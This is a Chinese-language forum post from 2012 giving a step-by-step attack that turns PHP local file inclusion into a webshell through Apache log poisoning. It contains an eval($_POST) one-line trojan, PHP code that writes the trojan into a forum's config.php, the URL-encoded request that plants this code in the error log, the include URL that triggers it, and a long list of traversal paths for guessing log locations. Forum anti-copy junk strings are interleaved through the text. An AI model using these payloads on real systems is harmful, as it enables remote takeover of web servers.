找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1939|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
; L, W, w/ V. @0 Y+ ]
! i% W3 j0 `, V2 j  a比如还是这句一句话木马
. E, t$ i5 z/ L<?eval($_POST[cmd]);?>   # s9 U. Y" M+ X* p: L2 Z
" p$ @, w$ i* b1 l& U1 Y  c
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, " `5 g9 {/ d% B1 D% b
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ' p; h' I3 K- ]$ S& R
* Z2 C. y- e/ }2 M/ p* x5 J
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ! X2 @! i4 n# z" s( t5 R2 R& g
fclose($fp);?>   //在config.php里写入一句木马语句 5 E: Q+ [- t5 d, n

% B- R8 s' T( b2 z! W4 Q8 L$ v( U我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 & S  T0 ?  `* D4 z+ s# I
转换为   d. Z- Q5 a; E% f0 `* y, I. M
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 2 B/ x" l; L% S4 D' U! G9 K
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
, `; q- _+ E8 X; S: g: c%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B   _. S7 m* y! i
fclose%28%24fp%29%3B%3F%3E
( `; E7 t4 W6 Y/ d; v4 ^我们提交
5 }0 n1 |+ u4 Chttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 9 B, |6 p- v' V7 G9 n$ |; \
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp . }5 s; P1 X  n7 a% L  y
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
$ i: }$ P0 o% \+ p+ [& j. ?cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E ( k& G9 N' f, r' `- e6 |% V
+ q) D+ e2 a3 J# i
这样就错误日志里就记录下了这行写入webshell的代码。 $ V3 h2 Z/ J) z% }/ R+ l
我们再来包含日志,提交 5 `$ I+ d; }% K: f
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
( M" A2 T' ^7 _0 @3 V! K5 D) ]! a
这样webshell就写入成功了,config.php里就写入一句木马语句
2 P2 D* _1 \$ S# y* W. G5 }5 p$ O: pOK. 4 i6 k9 Q- M' g
http://www.xxx.com/forum/config.php这个就成了我们的webshell
1 P, V* @7 c" T5 d1 s3 G直接用lanker的客户端一连,主机就是你的了。
- ~% ]& I# L9 f2 G* t5 |( U0 j) p1 p1 u! _) U
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ) y1 E! q7 S1 [. M0 P
: P0 a6 m* |3 t0 J0 p! n' S- B
其他的日志路径,你可以去猜,也可以参照这里。 % @8 I7 b' i- N" ^! B" u
../../../../../../../../../../var/log/httpd/access_log
2 m8 Q0 L% P' l. t& {& `. ?. u../../../../../../../../../../var/log/httpd/error_log
# f; y2 m2 G  u) K1 }" w9 s3 \../apache/logs/error.log 2 L9 i% F& b1 r3 f. I
../apache/logs/access.log   a) Z6 L! H8 g$ g6 x
../../apache/logs/error.log 0 e: G) E  ]3 J0 k6 F7 M: |
../../apache/logs/access.log
) c% d3 @$ |2 M* W& C. {( X../../../apache/logs/error.log 6 I+ N  _7 f2 k! Y5 m. A
../../../apache/logs/access.log
0 K$ `' T( W1 W" M$ I& _5 e../../../../../../../../../../etc/httpd/logs/acces_log
3 J- I# F  H4 C; {../../../../../../../../../../etc/httpd/logs/acces.log - |/ ^+ ~% U5 ]8 @) r7 U( a
../../../../../../../../../../etc/httpd/logs/error_log
8 O( U" k; c3 [% n1 A, J../../../../../../../../../../etc/httpd/logs/error.log ! v' B# y& d/ k: I/ k2 U( x; e
../../../../../../../../../../var/www/logs/access_log 8 j; M( b, U& v' ?' }
../../../../../../../../../../var/www/logs/access.log
/ p3 g- r2 X: T: D. T6 y1 E! P8 M../../../../../../../../../../usr/local/apache/logs/access_log , J2 b$ R* U4 B+ E
../../../../../../../../../../usr/local/apache/logs/access.log . B8 R$ u/ P- k& F0 d
../../../../../../../../../../var/log/apache/access_log 8 D+ B4 I  V! j$ f) k% O8 L
../../../../../../../../../../var/log/apache/access.log
  K- R' C4 i4 \; \( R4 B: S4 Y../../../../../../../../../../var/log/access_log
/ r0 A& t  R/ l$ `../../../../../../../../../../var/www/logs/error_log
# \3 r; ?! R! P% F) x; ?../../../../../../../../../../var/www/logs/error.log
+ T$ O% h' D2 G../../../../../../../../../../usr/local/apache/logs/error_log
% U& E' |7 T& i: Z# A$ N. ~+ A../../../../../../../../../../usr/local/apache/logs/error.log 9 K2 ?0 X1 a% ?* O
../../../../../../../../../../var/log/apache/error_log 4 R. R% b9 D2 ]
../../../../../../../../../../var/log/apache/error.log . M$ F; Y4 @! H/ U
../../../../../../../../../../var/log/access_log
" J: j% A! R  S) X% x* H/ i$ v) r../../../../../../../../../../var/log/error_log
( ]  s4 }/ e' @/var/log/httpd/access_log      
% T: G" O# M( J! @: H5 o% B, v/var/log/httpd/error_log     ) p3 f$ [  J, G( a6 P
../apache/logs/error.log     * T# H4 J7 N- p  D
../apache/logs/access.log 3 }+ B, a4 |: I$ S6 }" g+ \
../../apache/logs/error.log
# O0 P! b) a5 X4 w../../apache/logs/access.log
/ Z  I! u6 X$ O2 K- b% B* |; Q../../../apache/logs/error.log
5 h4 A2 r6 J, l7 U( f../../../apache/logs/access.log
. X$ ]. I! t7 c* _/etc/httpd/logs/acces_log ) m& A# m3 l* q
/etc/httpd/logs/acces.log
+ E' @* y; y6 v6 [/etc/httpd/logs/error_log
& d( i+ c2 d% I3 `, G/etc/httpd/logs/error.log
& P/ X5 E! `( o0 [8 ~+ f  O/ k/var/www/logs/access_log : l& b, Q% z9 F8 h; X& I5 A
/var/www/logs/access.log
& _8 G! h: D( ^! x; p/usr/local/apache/logs/access_log ' b% b+ G2 \' n' ?5 m! A) ^) e
/usr/local/apache/logs/access.log
6 D- L& s  J3 v/var/log/apache/access_log
1 e; Y, b; L  v. z3 O( d/var/log/apache/access.log
8 ?3 c* D' ^* X/var/log/access_log / s: T" [& u$ I! y2 l
/var/www/logs/error_log
1 |1 M# n& J, d/ F0 g/var/www/logs/error.log 8 s& T1 a5 v) j3 c. G- c
/usr/local/apache/logs/error_log
" \2 f- ^, @7 \0 f- I8 d% |+ {/usr/local/apache/logs/error.log # u) G& o* y' u3 D
/var/log/apache/error_log
4 E9 j' C8 z; ~+ ]/ W% _/ a5 S# k/var/log/apache/error.log
  n5 [* p" S! G* s/var/log/access_log # r$ q) t8 [, K8 c
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表